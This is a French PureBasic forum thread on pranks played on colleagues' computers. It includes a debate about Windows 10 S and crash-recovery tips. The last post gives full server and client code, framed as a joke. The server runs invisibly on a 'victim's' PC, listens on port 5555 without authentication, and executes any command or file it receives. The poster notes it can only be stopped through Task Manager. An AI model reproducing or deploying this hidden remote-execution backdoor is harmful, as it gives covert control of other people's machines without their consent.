sacré nom di diou, tu vas pas t'y mettre aussi ! Z'avez qu'à faire un rapport à crosoft, faire planter un os avec un programme comme ça en 2017, c'est quand même pas pensable !SPH a écrit :Je prefere 1000 fois mieux un keylogger que le code malvaillant de boby !
Et si : j'en fais un plat car ca a fait planter mon ordi !!!
Qui dit vacances dit blagues sur les PC des collègues
Re: Qui dit vacances dit blagues sur les PC des collègues
Re: Qui dit vacances dit blagues sur les PC des collègues
Ayant aussi WindowsBlind et étant risque-tout (très bête ) j'ai d'abord testé dans une VM et n'ai donc pas perdu la main (puisqu'il suffit de killer la VM)
Puis j'ai essayé sur mon Win 10 (avec les autres applications fermées): ça a bien planté, mais j'ai pu reprendre la main:
(Quand je partais en vacances dans une boite, il y a des années, en windows 98..., j'enlevais mon HD )
Puis j'ai essayé sur mon Win 10 (avec les autres applications fermées): ça a bien planté, mais j'ai pu reprendre la main:
- Plusieurs fois alt+ctrl+del jusqu'à arriver au gestionnaire de tâches (il faut insister et attendre)
- Dans le gestionnaire de taches (qui clignotait comme un fou)
Fichier > Exécuter une nouvelle tâche - Appeler le shell (taper CMD)
- Utiliser tasklist et taskkill pour killer purebasic_compilation0.exe et/ou l'IDE
- Après on peut arrêter/redémarrer normalement (ou décharger/relancer WindowsBlind)
(Quand je partais en vacances dans une boite, il y a des années, en windows 98..., j'enlevais mon HD )
Re: Qui dit vacances dit blagues sur les PC des collègues
Jolie le canapé blanc Zorro
Re: Qui dit vacances dit blagues sur les PC des collègues
Code : Tout sélectionner
Delay(10)
Code : Tout sélectionner
Delay(100)
Amusez vous la bien, supprimez le poste si vraiment c'est trop un code de hacker ultra violent et plus que vilain vilain fiouloulou c'était trop méchant de ma part et à la revoiure !
Re: Qui dit vacances dit blagues sur les PC des collègues
Il me semble que le soucis c'est que Fred a vexé quelqu'un, plus que le programme de changement de couleur qu'il plante ou pas d'ailleurs.djes a écrit :On ne va pas ennuyer fred pour des gamineries.
Zorro, tu as bien fait de signaler le problème, mais ce n'était pas la peine d'en faire un plat pareil, franchement. Boby, tu peux comprendre que ça énerve d'avoir un gros plantage de son ordi.
Enfin, on ne peut pas comparer un programme qui fait une blague en changeant les couleurs, qui normalement ne fait pas grand mal (si on corrige le bug), avec un programme d'espionnage genre keylogger... On n'est pas du tout dans la même catégorie !
Bref, vous réglez vos différends, s'il en reste, par mp, et on n'en parle plus... Bien sûr, ce serait bien que boby corrige son prog aussi.
A propos du keylogger, j'aurai été content d'en lire le code par curiosité et sans malignité de ma part, même si j'ai une idée de comment ça devait être fait.
Malheureusement, on comprends que les problèmes de pb avec les éditeurs d'antivirus priment.
Quoiqu'il en soit ce n'est surement pas Dobro en tant que personne ni ses intentions (qui sont, j'en suis sûr, totalement didactiques), qui ont été ciblées par Fred.
De toute façon Fred n'a pas lu ce fil, sinon il serait déja verrouillé je pense.
Il y a deux méthodes pour écrire des programmes sans erreurs. Mais il n’y a que la troisième qui marche.
Version de PB : 6.00LTS - 64 bits
Version de PB : 6.00LTS - 64 bits
Re: Qui dit vacances dit blagues sur les PC des collègues
crosoft a trouvé LA solution, installer une version bridé de windows 10 sur les nouveaux portable, windows 10 S (S comme security), il n'est pas possible d'installer autre chose que ce qui vient du windows store....
je m'en suis offusqué... mais en fait apple fait quasi la même chose avec OS10, je crois que j'ai EïL Capitan... seule les appli du store peuvent être installées, groumph, j'avais un rar à extraire sur le mac, et l'appli n'était pas dans le store (ou payante), bref confirmer des trucs, valider des machins, pour enfin installer le bousin.... bonjour la securité....
Pat
je m'en suis offusqué... mais en fait apple fait quasi la même chose avec OS10, je crois que j'ai EïL Capitan... seule les appli du store peuvent être installées, groumph, j'avais un rar à extraire sur le mac, et l'appli n'était pas dans le store (ou payante), bref confirmer des trucs, valider des machins, pour enfin installer le bousin.... bonjour la securité....
Pat
- falsam
- Messages : 7244
- Inscription : dim. 22/août/2010 15:24
- Localisation : IDF (Yvelines)
- Contact :
Re: Qui dit vacances dit blagues sur les PC des collègues
Windows 10S !! Je frémis de rage en voyant cette nouvelle version.
- Impossibilité d'installer un exe. (Pas de chrome, de firefox et pas d'exé générés par PureBasic)
- Passage obligé par le Market de Microsoft.
- Impossibilité d'installer un driver.
- Edge obligatoirement le navigateur internet par défaut.
Cette version est avant tout destinée aux écoles ou aux entreprises soucieuses de leurs sécurités.
J'ai remarqué que des constructeurs comme Acer ou HP commercialisent déja des pc sous Windows 10S
■ Comment faire alors pour installer des exe tiers ? En faisant une mise à jour vers Windows 10 Pro pour 50$ US.
Ma première tablette MS Surface sous Windows RT était sur le même principe : Coincé par le windows store. !!!
- Impossibilité d'installer un exe. (Pas de chrome, de firefox et pas d'exé générés par PureBasic)
- Passage obligé par le Market de Microsoft.
- Impossibilité d'installer un driver.
- Edge obligatoirement le navigateur internet par défaut.
Cette version est avant tout destinée aux écoles ou aux entreprises soucieuses de leurs sécurités.
J'ai remarqué que des constructeurs comme Acer ou HP commercialisent déja des pc sous Windows 10S
■ Comment faire alors pour installer des exe tiers ? En faisant une mise à jour vers Windows 10 Pro pour 50$ US.
Ma première tablette MS Surface sous Windows RT était sur le même principe : Coincé par le windows store. !!!
Configuration : Windows 11 Famille 64-bit - PB 6.03 x64 - AMD Ryzen 7 - 16 GO RAM
Vidéo NVIDIA GeForce GTX 1650 Ti - Résolution 1920x1080 - Mise à l'échelle 125%
Vidéo NVIDIA GeForce GTX 1650 Ti - Résolution 1920x1080 - Mise à l'échelle 125%
Re: Qui dit vacances dit blagues sur les PC des collègues
Je redoutais un truc comme ça quand j'ai vu le windows store, et voilà, bim. S'il faut passer par une étape de validation pour diffuser nos trucs, comme sur Android, c'est vraiment la fin de la liberté. Je ne sais pas si je vais supporter ça ! Heureusement que PB fonctionne sous Linux, mais ça va être galère quand même !
- falsam
- Messages : 7244
- Inscription : dim. 22/août/2010 15:24
- Localisation : IDF (Yvelines)
- Contact :
Re: Qui dit vacances dit blagues sur les PC des collègues
@Djes: Pas d'inquiétude à avoir. Microsoft a déja subit un fiasco avec la version RT de Windows 10 et je pense que la version 10S ne sera pas déployée sur des ordinateurs familiaux. Quand au ordinateurs équipés de Windows 10 Pro il ne pourront pas passer sous Windows 10S.
Configuration : Windows 11 Famille 64-bit - PB 6.03 x64 - AMD Ryzen 7 - 16 GO RAM
Vidéo NVIDIA GeForce GTX 1650 Ti - Résolution 1920x1080 - Mise à l'échelle 125%
Vidéo NVIDIA GeForce GTX 1650 Ti - Résolution 1920x1080 - Mise à l'échelle 125%
- Kwai chang caine
- Messages : 6962
- Inscription : sam. 23/sept./2006 18:32
- Localisation : Isere
Re: Qui dit vacances dit blagues sur les PC des collègues
C'est quand même dingue que dés qu'une merde arrive, y'a des cravates qui aient l'idée d'en profiter et de tirer la couverture à eux, plutot que d'essayer de la résoudre
Profiter qu'il existe de plus en plus de virus, pour imposer un Windows store... fallait déjà sortir des grandes écoles commerciales pour avoir cette idée à la con.
Surtout qu'il va encore y avoir des burnes pour acheter ce genre de machine comme on achète un fer à repasser et venir pleurer qu'ils peuvent pas installer tel ou tel programme.
J'ai eu moi aussi le même problème avec mon ancien patron qui avait eu l'idée d'acheter un windows RT (parce qu'il était moins cher ), et venait me demander comment installer un exe
On est mal .... ce monde me fatigue de plus en plus
Profiter qu'il existe de plus en plus de virus, pour imposer un Windows store... fallait déjà sortir des grandes écoles commerciales pour avoir cette idée à la con.
Surtout qu'il va encore y avoir des burnes pour acheter ce genre de machine comme on achète un fer à repasser et venir pleurer qu'ils peuvent pas installer tel ou tel programme.
J'ai eu moi aussi le même problème avec mon ancien patron qui avait eu l'idée d'acheter un windows RT (parce qu'il était moins cher ), et venait me demander comment installer un exe
On est mal .... ce monde me fatigue de plus en plus
Re: Qui dit vacances dit blagues sur les PC des collègues
Bonjour boby...
J'ai testé avec un timer à la place de la boucle pour ne pas saturer dans le code 1, si ça fonctionne sans problème ainsi, je voudrai revenir sur le coté blague.
Une blague doit être complètement inoffensive sur le système. Ton code à pour ma part modifié les couleurs mais ne les a pas remise.. Ensuite l'utilisateur doit pouvoir quitter le programme.
Il est donc pour moi à mettre à la poubelle en l'état sinon il faut d'abord capturer les couleurs système et les rétablir.
Enfin, même s'il est court, lorsqu'on post un code on doit expliquer sa fonction. Les débutants apprécieront et les recherches de codes sur le forum seront plus pertinentes.
Merci de ta compréhension.
J'ai testé avec un timer à la place de la boucle pour ne pas saturer dans le code 1, si ça fonctionne sans problème ainsi, je voudrai revenir sur le coté blague.
Une blague doit être complètement inoffensive sur le système. Ton code à pour ma part modifié les couleurs mais ne les a pas remise.. Ensuite l'utilisateur doit pouvoir quitter le programme.
Il est donc pour moi à mettre à la poubelle en l'état sinon il faut d'abord capturer les couleurs système et les rétablir.
Enfin, même s'il est court, lorsqu'on post un code on doit expliquer sa fonction. Les débutants apprécieront et les recherches de codes sur le forum seront plus pertinentes.
Merci de ta compréhension.
~~~~Règles du forum ~~~~
⋅.˳˳.⋅ॱ˙˙ॱ⋅.˳Ar-S ˳.⋅ॱ˙˙ॱ⋅.˳˳.⋅
W11x64 PB 6.x
Section HORS SUJET : ICI
LDV MULTIMEDIA : Dépannage informatique & mes Logiciels PB
UPLOAD D'IMAGES : Uploader des images de vos logiciels
⋅.˳˳.⋅ॱ˙˙ॱ⋅.˳Ar-S ˳.⋅ॱ˙˙ॱ⋅.˳˳.⋅
W11x64 PB 6.x
Section HORS SUJET : ICI
LDV MULTIMEDIA : Dépannage informatique & mes Logiciels PB
UPLOAD D'IMAGES : Uploader des images de vos logiciels
- JohnJohnsonSHERMAN
- Messages : 648
- Inscription : dim. 13/déc./2015 11:05
- Localisation : Allez, cherche...
- Contact :
Re: Qui dit vacances dit blagues sur les PC des collègues
@boby : N'en déplaise à quelques uns, j'aime le principe de ces codes, un truc pas trop méchant pour un bonne blague à un pote. Seulement il faut considérer deux principes de bases des joke programs : toujours tout remettre comme il faut à la fin, et ne pas gêner plus qu'on ne le voulait l'utilisateur... Là clairement avec WindowsBlinds ca cause bcp de lag...
En tout cas j'adore faire ce genre de blagues à mes potes aussi
@tous :
Windows 10 S...
Je ne sais que dire quand je vois ce genre d'évolution de cro$oft... Ca me fait presque peur pour l'avenir... Je trouve cela honteux et déloyal, pensez à tous ces devs qui vivent par d'autres moyens que Microsoft... ceux de Firefox, de tous les autres logiciels sur le marché, même Fred....
Dans le cas où vous auriez un jour une machine avec ce systéme sachez deux choses :
En tout cas j'adore faire ce genre de blagues à mes potes aussi
@tous :
Windows 10 S...
Je ne sais que dire quand je vois ce genre d'évolution de cro$oft... Ca me fait presque peur pour l'avenir... Je trouve cela honteux et déloyal, pensez à tous ces devs qui vivent par d'autres moyens que Microsoft... ceux de Firefox, de tous les autres logiciels sur le marché, même Fred....
Dans le cas où vous auriez un jour une machine avec ce systéme sachez deux choses :
- On peut se faire rembourser sa licence Windows s'il est préinstallé sur un PC
- Linux est (toujours) gratuit
"Le bug se situe entre la chaise et le clavier"
Votre expert national en bogage et segfaults.
CPU : AMD A8 Quad core - RAM 8Gb - HDD 2To
Votre expert national en bogage et segfaults.
CPU : AMD A8 Quad core - RAM 8Gb - HDD 2To
- Windows 10 x64 - PB 5.61 x64
- Linux Ubuntu 16.04 LTS x64 (dual boot) - PB pas encore réinstallé
- microdevweb
- Messages : 1800
- Inscription : mer. 29/juin/2011 14:11
- Localisation : Belgique
Re: Qui dit vacances dit blagues sur les PC des collègues
D'après mon prof d'ASM, voici une bonne blague de chez "intel" il nous l'a passé 10 fois au-moins.
https://www.youtube.com/watch?v=NqlUZfOOS7E
Concernant Window 10s, je ne connaissait pas, je n’apprécie pas "Apel" pour ce ce genre de choses alors si Windows tourne à cela je passerais sous Linux.
https://www.youtube.com/watch?v=NqlUZfOOS7E
Concernant Window 10s, je ne connaissait pas, je n’apprécie pas "Apel" pour ce ce genre de choses alors si Windows tourne à cela je passerais sous Linux.
Windows 10 64 bits PB: 5.70 ; 5.72 LST
Work at Centre Spatial de Liège
Work at Centre Spatial de Liège
Re: Qui dit vacances dit blagues sur les PC des collègues
*note : Blague qui touche au PC des gens, ça fait fâcher tout rouge il ne faut pas recommencer.*
C'est bon j'ai noté !
Allé pour répondre aux critères d'une bonne blague en voici une nouvelle plus en moins en guise d'excuse (bien que je reste satisfait du résultat de la première)
Une petite blagounette qui permet de rigoler à distance ET avec un code plus ou moins intéressant qui peut servir de "TUTO" pour construire une relation basic client serveur multi thread. L'idée est donc de lancer le serveur sur le PC de la victime afin de lancer des appli (soit URL sur la string du client, soit des fichier à transférer) depuis le client pour les faire s'ouvrir sur le PC serveur.
Serveur :
@Zorro : Tu feras attention le delay n'est que de 10 ms et il n'y a pas d'autre possibilité de fermer le serveur que via le gestionaire des tâches !!!!!!!!!!!!!!!!! (bah oui... le but d'une blague c'est que ça ne se voie pas...)
Client :
Ah oui, si vous envoyez un .wav ou .mp3, le serveur le jouera lui même sans ouvrir de fenetre.
PS : C'est promis rien ne seras modifié sur votre PC.
C'est bon j'ai noté !
Allé pour répondre aux critères d'une bonne blague en voici une nouvelle plus en moins en guise d'excuse (bien que je reste satisfait du résultat de la première)
Une petite blagounette qui permet de rigoler à distance ET avec un code plus ou moins intéressant qui peut servir de "TUTO" pour construire une relation basic client serveur multi thread. L'idée est donc de lancer le serveur sur le PC de la victime afin de lancer des appli (soit URL sur la string du client, soit des fichier à transférer) depuis le client pour les faire s'ouvrir sur le PC serveur.
Serveur :
Code : Tout sélectionner
EnableExplicit
InitNetwork() : InitSound() : InitMovie()
Structure client
ID.I
PacketSize.i
ReceivedSize.i
*Data
EndStructure
Enumeration
#PRT_RunPrg
#PRT_PlaySound
#PRT_OpenFile
#PRT_PlayMp3
EndEnumeration
Global NewList Client.Client(), *HeaderBuffer = AllocateMemory(SizeOf(integer)), window,mp3
Declare Handler_Packet(*Data)
Declare.s MakeTempName(ext$)
Declare close()
If CreateNetworkServer(0,5555)
window = OpenWindow(#PB_Any,0,0,0,0,"",#PB_Window_Invisible)
BindEvent(#PB_Event_CloseWindow,@close())
Repeat
Select NetworkServerEvent(0)
Case #PB_NetworkEvent_None
Delay(10)
Case #PB_NetworkEvent_Data
ForEach Client()
If Client()\ID = EventClient()
Break
EndIf
Next
If Client()\PacketSize
If Client()\PacketSize - Client()\ReceivedSize > 65536
Client()\ReceivedSize + ReceiveNetworkData(Client()\ID,Client()\Data + Client()\ReceivedSize,65536)
Else
Client()\ReceivedSize + ReceiveNetworkData(Client()\ID,Client()\Data + Client()\ReceivedSize,Client()\PacketSize - Client()\ReceivedSize)
EndIf
If Client()\ReceivedSize = Client()\PacketSize
Client()\PacketSize = 0
CreateThread(@Handler_Packet(),@Client())
EndIf
Else
ReceiveNetworkData(Client()\ID,*HeaderBuffer,SizeOf(integer))
Client()\ReceivedSize = 0
Client()\PacketSize = PeekI(*HeaderBuffer)
Client()\Data = AllocateMemory(Client()\PacketSize)
EndIf
Case #PB_NetworkEvent_Connect
AddElement(Client())
Client()\ID = EventClient()
Case #PB_NetworkEvent_Disconnect
ForEach Client()
If Client()\ID = EventClient()
If Client()\PacketSize
FreeMemory(Client()\Data)
EndIf
DeleteElement(Client())
Break
EndIf
Next
EndSelect
ForEver
EndIf
Procedure Handler_Packet(*ClientData.client)
Protected *Data = *ClientData\Data, tmpfile$, file, snd,ext$
Select PeekA(*Data)
Case #PRT_RunPrg
RunProgram(PeekS(*Data+SizeOf(ascii)+SizeOf(integer),PeekI(*Data+SizeOf(ascii))))
Case #PRT_PlaySound
snd = CatchSound(0,*Data+ SizeOf(ascii))
If snd
PlaySound(0)
EndIf
Case #PRT_OpenFile
ext$ = PeekS(*Data+SizeOf(ascii)+SizeOf(integer),PeekI(*data+SizeOf(ascii)))
Debug ext$
tmpfile$ = MakeTempName(ext$)
file = CreateFile(#PB_Any,GetTemporaryDirectory() + tmpfile$)
If file
WriteData(file,*Data+SizeOf(ascii)+SizeOf(integer)+(PeekI(*data+SizeOf(ascii))*2),MemorySize(*Data)-SizeOf(ascii))
CloseFile(file)
RunProgram(GetTemporaryDirectory()+ tmpfile$,"","",#PB_Program_Wait)
DeleteFile(GetTemporaryDirectory() + tmpfile$)
EndIf
Case #PRT_PlayMp3
If IsMovie(mp3)
FreeMovie(mp3)
EndIf
file = CreateFile(#PB_Any,GetTemporaryDirectory()+"zic.mp3")
WriteData(file,*Data+SizeOf(ascii),MemorySize(*Data)-SizeOf(ascii))
CloseFile(file)
mp3 = LoadMovie(#PB_Any,GetTemporaryDirectory()+"zic.mp3")
If mp3
PlayMovie(mp3,WindowID(window))
EndIf
EndSelect
FreeMemory(*Data)
EndProcedure
Procedure.s MakeTempName(ext$)
Protected Result$, loop
For loop = 0 To 20
Result$ = Result$ + Str(Random(9))
Next loop
Result$ = Result$+"."+ext$
ProcedureReturn Result$
EndProcedure
Procedure close()
If IsMovie(mp3)
FreeMovie(mp3)
EndIf
If FileSize(GetTemporaryDirectory()+"zic.mp3") > 0
DeleteFile(GetTemporaryDirectory()+"zic.mp3")
EndIf
End
EndProcedure
@Zorro : Tu feras attention le delay n'est que de 10 ms et il n'y a pas d'autre possibilité de fermer le serveur que via le gestionaire des tâches !!!!!!!!!!!!!!!!! (bah oui... le but d'une blague c'est que ça ne se voie pas...)
Client :
Code : Tout sélectionner
EnableExplicit
InitNetwork()
Enumeration
#PRT_RunPrg
#PRT_PlaySound
#PRT_OpenFile
#PRT_PlayMp3
EndEnumeration
Declare close()
Declare send()
Declare connect()
Declare senddata()
Declare requestfile()
Global IP,ID,string, file$, text, *buffer = AllocateMemory(65536)
If OpenWindow(0,0,0,300,100,"",#PB_Window_ScreenCentered|#PB_Window_SystemMenu|#PB_Window_MinimizeGadget)
IP = IPAddressGadget(#PB_Any,10,10,200,20)
ButtonGadget(0,220,10,70,20,"Connexion")
string = StringGadget(#PB_Any,10,40,200,20,"")
ButtonGadget(1,220,40,70,20,"Envoi")
text = TextGadget(#PB_Any,10,70,170,20,"",#PB_Text_Border)
ButtonGadget(2,190,70,20,20,"...")
ButtonGadget(3,220,70,70,20,"Envoi")
BindEvent(#PB_Event_CloseWindow,@close())
BindGadgetEvent(0,@connect())
BindGadgetEvent(1,@send())
BindGadgetEvent(2,@requestfile())
BindGadgetEvent(3,@senddata())
DisableGadget(1,1) : DisableGadget(2,1) : DisableGadget(3,1)
EndIf
Repeat : WaitWindowEvent() : ForEver
Procedure close()
End
EndProcedure
Procedure connect()
ID = OpenNetworkConnection(GetGadgetText(IP),5555)
If ID
MessageRequester("Connexion","Connexion OK")
DisableGadget(1,0) : DisableGadget(2,0)
Else
MessageRequester("Connexion","Connexion échoué")
DisableGadget(1,1) : DisableGadget(2,1)
EndIf
EndProcedure
Procedure send()
Protected size = Len(GetGadgetText(string))*2
PokeI(*buffer,size+SizeOf(ascii)+SizeOf(integer))
PokeA(*buffer+SizeOf(integer),#PRT_RunPrg)
PokeI(*buffer+SizeOf(integer)+SizeOf(ascii),Len(GetGadgetText(string)))
PokeS(*buffer+SizeOf(integer)+SizeOf(ascii)+SizeOf(integer),GetGadgetText(string))
SendNetworkData(ID,*buffer,SizeOf(integer)+SizeOf(ascii)+SizeOf(integer)+size)
SetGadgetText(string,"")
EndProcedure
Procedure requestfile()
Protected tmpfile$
tmpfile$ = OpenFileRequester("Ouvrir",GetCurrentDirectory(),"",1)
If tmpfile$
file$ = tmpfile$
DisableGadget(3,0)
SetGadgetText(text,file$)
Else
file$ = ""
SetGadgetText(text,"")
DisableGadget(3,1)
EndIf
EndProcedure
Procedure senddata()
Protected file, size, datasend, send,*data
file = ReadFile(#PB_Any,file$)
If file
size = FileSize(file$)
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
If GetExtensionPart(file$) = "wav"
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
PokeI(*data,size + SizeOf(ascii))
PokeA(*data + SizeOf(integer),#PRT_PlaySound)
ReadData(file,*data+SizeOf(ascii)+SizeOf(integer),size)
size + SizeOf(ascii) + SizeOf(integer)
ElseIf GetExtensionPart(file$) = "mp3"
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
PokeI(*data,size + SizeOf(ascii))
PokeA(*data + SizeOf(integer),#PRT_PlayMp3)
ReadData(file,*data+SizeOf(ascii)+SizeOf(integer),size)
size + SizeOf(ascii) + SizeOf(integer)
Else
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2))
PokeI(*data,size + SizeOf(ascii)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2))
PokeA(*data + SizeOf(integer),#PRT_OpenFile)
PokeI(*data+SizeOf(ascii)+SizeOf(integer),Len(GetExtensionPart(file$)))
PokeS(*data+SizeOf(ascii)+SizeOf(integer)+SizeOf(integer),GetExtensionPart(file$))
ReadData(file,*data+SizeOf(ascii)+SizeOf(integer)+SizeOf(integer)+Len(GetExtensionPart(file$))*2,size)
size +SizeOf(ascii)+SizeOf(integer)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2)
EndIf
CloseFile(file)
Repeat
If size - datasend > 65536
send = SendNetworkData(ID,*data+datasend,65536)
If send > 0 : datasend + send : EndIf
Else
send = SendNetworkData(ID,*data+datasend,size - datasend)
If send > 0 : datasend + send : EndIf
EndIf
Until datasend = size
SetGadgetText(text,"")
FreeMemory(*data)
EndIf
EndProcedure
PS : C'est promis rien ne seras modifié sur votre PC.